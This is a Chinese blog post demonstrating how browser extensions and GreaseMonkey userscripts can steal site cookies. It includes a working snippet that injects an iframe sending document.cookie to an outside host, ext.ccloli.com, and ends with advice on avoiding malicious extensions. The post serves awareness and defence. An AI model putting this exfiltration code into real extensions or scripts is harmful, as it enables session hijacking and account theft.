Google Chrome 的扩展程序以及GreaseMonkey脚本（user.js）让我们更好地使用浏览器和网络，为我们带来了便利。但是，不法分子同样可以通过制作一个扩展程序或脚本窃取用户信息。实际上，这些扩展程序和脚本的权限非常高，以至于它们可以完全调用网站的所有数据甚至是调用用户的cookies。例如当你访问一个站点时，却发现有奇怪的访问连接（见下图），那么你就要小心了。下面本文将就此进行讨论。

偷偷连接网站的示例，请注意左下角（目前访问的域为tieba.baidu.com）

* 某位大神说，据他所知，第一个能够盗取用户cookies的扩展程序是cc做出来的← ←原来我是千古罪人吗……

关于盗取用户cookies的这个想法，我在暑假时就想过。由于Google Chrome扩展程序可以直接在网站操纵webStorage（例如localStorage），所以当时就在想是不是可以读取cookies并转发（更何况Smooth Gesture扩展里可以设置一个手势以查看当前页的cookies），不过由于当时各种原因，所以并没有测试← ←趁着周日期考结束便打算测试一下，结果在意料之中，也在意料之外。

首先，我们需要知道如何得到cookies，可以在控制台输入以下语句并回车：

document.cookie;

接下来，控制台返回了所有的cookies数据。

输入document.cookie并回车，返回了cookies 数据，已打码← ←

接下来我创建了一个Google Chrome扩展程序：

并创建了一个名为index.js的文件，在该文件中输入

alert(document.cookie);

结果在刷新页面时网页弹出了当前站点的cookies数据，证明Google Chrome扩展程序可以直接调用站点的cookies。

接下来是传递参数。参数的传递很麻烦，半年前曾经想过用类似PHP的$_GET方式获取数据，但不知道哪里弄错了，居然没成功。这一次去咨询了Google关于跨站传值的问题，找到了解决的方法，那就是iframe+location.hash （来源： JavaScript跨域总结与解决办法 - Rain Man - 博客园）。

* 其实在写这篇文章时想到直接用$_GET方式也可以传递，因为后面的数据处理也需要$_GET。

location.hash是什么？其实就是锚点，例如http://ccloli.com#goodluck 这个地址中“#goodluck”就是location.hash。其优点在于在另一个页面跨域通过javascript的window.location.hash直接读取到数据，缺点便是容量有限，而且这也意味着传输的数据将暴露在网址中——当然如果你是个骇客的话或许并不会在乎，而如果你是网站的开发者，或者是一个为用户安全着想的黑客，或者是防止肉鸡发现的骇客，那么这个方法并不适合你，或许你应该试试Ajax。

所以我们可以创建一个iframe，然后通过这种方式传递cookies：

postit=document.createElement('div'); document.body.appendChild(postit); postit.innerHTML='<iframe src="http://ext.ccloli.com/getcookies#'+document.cookie+'"></iframe>';

1 2 3

postit=document.createElement('div'); document.body.appendChild(postit); postit.innerHTML='<iframe src="http://ext.ccloli.com/getcookies#'+document.cookie+'"></iframe>';

经过测试，数据确实传递成功了，而且扩展在安装时并没有请求其他的权限。

扩展程序安装提醒只请求了tieba.baidu.com的数据

接下来便是编写一个接受客户端，很简单，php就可以搞定。下面是个人编写的这个扩展的演示：

而且经个人测试，并不仅仅是Google Chrome扩展程序中招，GreaseMonkey脚本（也就是我们所说的油猴脚本，在Mozilla Firefox和Google Chrome上很常见）同样也可以达到这个效果——这也意味着火狐浏览器如果安装了这类脚本也可以出现这种情况——甚至在网上常见的“在地址栏输入javascript:function()......并回车就可以进行xxoo”也可能会导致数据外泄！

火狐娘上的测试~~~

那么，就没有什么防范措施吗？有，虽然并不是很有效——

1. 如果是Google Chrome扩展程序，请不要安装来源不明的扩展程序。您应当安装具有可靠来源的扩展程序（例如Chrome 网上应用店），或者选择可靠的开发者制作的扩展程序。
2. 如果是油猴脚本，在安装之前最好查看一下源代码中是否含有document.cookie等敏感文字。

GreaseMonkey和Tempermonkey都可以在安装前查看脚本源代码

最后，有没有更好的防范措施呢？希望你能提供更好的建议~~~> <感谢您的阅读~~~